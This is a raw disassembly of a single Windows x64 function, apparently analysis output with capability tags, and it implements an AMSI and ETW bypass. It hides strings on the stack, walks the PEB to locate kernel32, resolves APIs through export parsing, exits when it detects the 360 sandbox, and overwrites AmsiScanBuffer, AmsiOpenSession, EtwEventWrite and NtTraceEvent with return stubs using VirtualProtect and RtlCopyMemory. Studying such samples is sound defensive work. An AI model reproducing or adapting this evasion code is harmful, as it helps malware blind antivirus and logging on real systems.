Function at 0x1400013a0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0xd0]
sub rsp, 0x1d0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xc8], rax
movdqa xmm0, xmmword [0x1400035e0]
xor edi, edi
movdqu xmmword [rbp + 0x88], xmm0
mov ebx, edi
mov dword [rbp + 0x48], 0x3a0043
movdqa xmm0, xmmword [str.AmsiOpenSession]
movdqu xmmword [rbp + 0xb8], xmm0
mov dword [rbp + 0x4c], 0x57005c
movdqa xmm0, xmmword [str.GetModuleHandleWGetFileAttribute_]
movdqu xmmword [rbp + 0xa0], xmm0
mov dword [rbp + 0x50], 0x6e0069
mov dword [rbp + 0x54], 0x6f0064
mov dword [rbp + 0x58], 0x730077
mov dword [rbp + 0x5c], 0x53005c
mov dword [rbp + 0x60], 0x730079
mov dword [rbp + 0x64], 0x650074
mov dword [rbp + 0x68], 0x33006d
mov dword [rbp + 0x6c], 0x5c0032
mov dword [rbp + 0x70], 0x6d0061
mov dword [rbp + 0x74], 0x690073
mov dword [rbp + 0x78], 0x64002e
mov dword [rbp + 0x7c], 0x6c006c
mov word [rbp + 0x80], di
mov dword [rbp + 0x30], 0x74006e
mov dword [rbp + 0x34], 0x6c0064
mov dword [rbp + 0x38], 0x2e006c
mov dword [rbp + 0x3c], 0x6c0064
mov dword [rbp + 0x40], 0x6c
mov dword [rbp - 0x58], 0x436c7452
mov dword [rbp - 0x54], 0x4d79706f
mov dword [rbp - 0x50], 0x726f6d65
mov word [rbp - 0x4c], 0x79
mov dword [rbp - 0x78], 0x64616f4c
mov dword [rbp - 0x74], 0x7262694c
mov dword [rbp - 0x70], 0x57797261
mov byte [rbp - 0x6c], dil
mov word [rbp + 0x98], 0x5773
mov byte [rbp + 0x9a], dil
mov dword [rbp - 0x38], 0x74726956
mov dword [rbp - 0x34], 0x506c6175
mov dword [rbp - 0x30], 0x65746f72
mov word [rbp - 0x2c], 0x7463
mov byte [rbp - 0x2a], dil
mov dword [rbp - 0x48], 0x45777445
mov dword [rbp - 0x44], 0x746e6576
mov dword [rbp - 0x40], 0x74697257
mov word [rbp - 0x3c], 0x65
mov byte [rbp + 0xb0], dil
mov dword [rbp + 0x18], 0x780053
mov dword [rbp + 0x1c], 0x6e0049
mov dword [rbp + 0x20], 0x64002e
mov dword [rbp + 0x24], 0x6c006c
mov word [rbp + 0x28], di
mov dword [rbp - 0x68], 0x7254744e
mov dword [rbp - 0x64], 0x45656361
mov dword [rbp - 0x60], 0x746e6576
mov byte [rbp - 0x5c], dil
mov dword [rbp - 0x18], 0x69736d41
mov dword [rbp - 0x14], 0x6e616353
mov dword [rbp - 0x10], 0x66667542
mov word [rbp - 0xc], 0x7265
mov byte [rbp - 0xa], dil
mov dword [rsp + 0x68], 0x70616548
mov dword [rsp + 0x6c], 0x6f6c6c41
mov word [rsp + 0x70], 0x63
mov dword [rbp - 0x28], 0x50746547
mov dword [rbp - 0x24], 0x65636f72
mov dword [rbp - 0x20], 0x65487373
mov word [rbp - 0x1c], 0x7061
mov byte [rbp - 0x1a], dil
mov rax, qword gs:[0x60]
mov dword [rbp - 8], 0x65006b
mov dword [rbp - 4], 0x6e0072
mov dword [rbp], 0x6c0065
mov r10, qword [rax + 0x18]
add r10, 0x20
mov dword [rbp + 4], 0x320033
mov dword [rbp + 8], 0x64002e
mov dword [rbp + 0xc], 0x6c006c
mov word [rbp + 0x10], di
mov r9, qword [r10]
nop word [rax + rax]
mov r8, qword [r9 + 0x50]
lea rdx, [rbp - 8]
movzx ecx, word [r8]
test cx, cx
je 0x140001646
lea rax, [rbp - 8]
sub r8, rax
movzx eax, cx
nop dword [rax + rax]
cmp cx, 0x41
jb 0x140001620
cmp ax, 0x5a
ja 0x140001620
add ax, 0x20
movzx ecx, word [rdx]
cmp cx, ax
jne 0x14000163d
movzx ecx, word [r8 + rdx + 2]
add rdx, 2
movzx eax, cx
test cx, cx
jne 0x140001610
movzx ecx, word [rdx]
test cx, cx
jne 0x140001646
mov rbx, qword [r9 + 0x20]
mov r9, qword [r9]
cmp r9, r10
jne 0x1400015f0
test rbx, rbx
jne 0x140001669
lea rcx, str.____get_kernel32_base_failed
call fcn.140001070
mov eax, 0xffffffff
jmp 0x14000198e
movsxd rax, dword [rbx + 0x3c]
movabs r10, 0x41636f7250746547
mov edx, edi
mov r9d, dword [rax + rbx + 0x88]
mov r8d, dword [r9 + rbx + 0x20]
add r8, rbx
movsxd rax, dword [r8]
cmp qword [rax + rbx], r10
je 0x14000169e
inc edx
movsxd rcx, dword [r8 + rdx*4]
cmp qword [rcx + rbx], r10
jne 0x140001692
mov ecx, dword [r9 + rbx + 0x24]
add rcx, rbx
movsx r8, word [rcx + rdx*2]
mov ecx, dword [r9 + rbx + 0x1c]
add rcx, rbx
movsxd r14, dword [rcx + r8*4]
add r14, rbx
jne 0x1400016d2
lea rcx, str.____GetProcAddress_is_null_n
call fcn.140001070
mov eax, 0xffffffff
jmp 0x14000198e
mov rdx, r14
lea rcx, str.___GetProcAddress:__p_n
call fcn.140001070
lea rdx, [rbp - 0x78]
mov rcx, rbx
call r14
mov qword [rsp + 0x48], rax
test rax, rax
jne 0x14000170b
lea rcx, str.____loadlibrary_is_null
call fcn.140001070
mov eax, 0xffffffff
jmp 0x14000198e
lea rdx, [rbp + 0x88]
mov qword [rsp + 0x200], r13
mov rcx, rbx
call r14
lea rdx, [rbp - 0x38]
mov rcx, rbx
mov r13, rax
call r14
lea rdx, [rbp - 0x58]
mov rcx, rbx
mov r15, rax
call r14
lea rdx, [rbp + 0xa0]
mov rcx, rbx
mov r12, rax
call r14
lea rdx, [rsp + 0x68]
mov rcx, rbx
mov rsi, rax
call r14
lea rdx, [rbp - 0x28]
mov qword [rsp + 0x60], rax
mov rcx, rbx
call r14
mov rbx, qword [rsp + 0x60]
mov qword [rsp + 0x40], rax
test r13, r13
je 0x14000195d
test r15, r15
je 0x14000195d
test r12, r12
je 0x14000195d
test rsi, rsi
je 0x14000195d
test rbx, rbx
je 0x14000195d
test rax, rax
je 0x14000195d
lea rcx, [rbp + 0x30]
call rsi
lea rcx, [rbp + 0x18]
mov qword [rsp + 0x50], rax
call rsi
test rax, rax
je 0x1400017d5
lea rcx, str.____in_360_sandbox
call fcn.140001070
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [rbp + 0x48]
call r13
cmp eax, 0xffffffff
je 0x14000194d
test al, 0x10
jne 0x14000194d
call qword [rsp + 0x40]
mov edx, 8
mov r8d, pe_nt_image_headers64
mov rcx, rax
call rbx
lea rcx, [rbp + 0x48]
mov dword [rsp + 0x78], 0xcd95e5b8
mov rsi, rax
mov dword [rsp + 0x7c], 0x95b2359f
mov word [rbp - 0x80], 0x1fca
mov byte [rbp - 0x7e], 0xc3
mov dword [rsp + 0x60], 0x70057b8
mov word [rsp + 0x64], 0xc380
mov byte [rsp + 0x58], 0xc3
mov byte [rsp + 0x59], 0xc3
call qword [rsp + 0x48]
mov rcx, rax
lea rdx, [rbp + 0xb8]
mov rbx, rax
call r14
mov rcx, qword [rsp + 0x50]
lea rdx, [rbp - 0x48]
mov qword [rsi], rax
call r14
mov rcx, qword [rsp + 0x50]
lea rdx, [rbp - 0x68]
mov qword [rsi + 0x18], rax
call r14
lea rdx, [rbp - 0x18]
mov qword [rsi + 0x30], rax
mov rcx, rbx
call r14
mov qword [rsi + 0x48], rax
lea rax, [rsp + 0x78]
mov qword [rsi + 8], rax
lea rax, [rsp + 0x58]
mov qword [rsi + 0x20], rax
lea rax, [rsp + 0x59]
mov qword [rsi + 0x38], rax
lea rax, [rsp + 0x60]
mov qword [rsi + 0x50], rax
mov dword [rsi + 0x10], 0xb
mov dword [rsi + 0x28], 1
mov dword [rsi + 0x40], 1
mov dword [rsi + 0x58], 6
mov rax, qword [rsi]
test rax, rax
je 0x14000193a
mov rbx, rsi
nop dword [rax + rax]
mov edx, dword [rbx + 0x10]
lea r9, [rsp + 0x5c]
mov r8d, 0x40
mov rcx, rax
call r15
test eax, eax
jne 0x1400018f8
mov edx, edi
lea rcx, str.____change__d_protect_mode_failed_n
call fcn.140001070
jmp 0x140001927
mov r8d, dword [rbx + 0x10]
mov rdx, qword [rbx + 8]
mov rcx, qword [rbx]
call r12
mov edx, edi
lea rcx, str.___patch__d_successful_n
call fcn.140001070
mov edx, dword [rbx + 0x10]
lea r9, [rsp + 0x5c]
mov r8d, dword [rsp + 0x5c]
mov rcx, qword [rbx]
call r15
inc edi
lea rcx, [rdi + rdi*2]
mov rax, qword [rsi + rcx*8]
lea rbx, [rsi + rcx*8]
test rax, rax
jne 0x1400018d0
lea edx, [rdi + 1]
lea rcx, str.___patch__d_function_n
call fcn.140001070
xor eax, eax
jmp 0x140001986
lea rcx, str.___amsi_not_exists_or_is_a_dir
call fcn.140001070
xor eax, eax
jmp 0x140001986
mov qword [rsp + 0x30], rax
lea rcx, str.____pGetFileAttrW_addr__p_t_pVirtualProtect_addr__p_t_pRtlCopyMemory_addr__p_t_pGetModuleHandleW_addr__p_t_pHeapAlloc_addr__p_t_pGetProcessHeap_addr__p_n
mov qword [rsp + 0x28], rbx
mov r9, r12
mov r8, r15
mov qword [rsp + 0x20], rsi
mov rdx, r13
call fcn.140001070
mov eax, 0xffffffff
mov r13, qword [rsp + 0x200]
mov rcx, qword [rbp + 0xc8]
xor rcx, rsp
call fcn.1400019d0
lea r11, [rsp + 0x1d0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret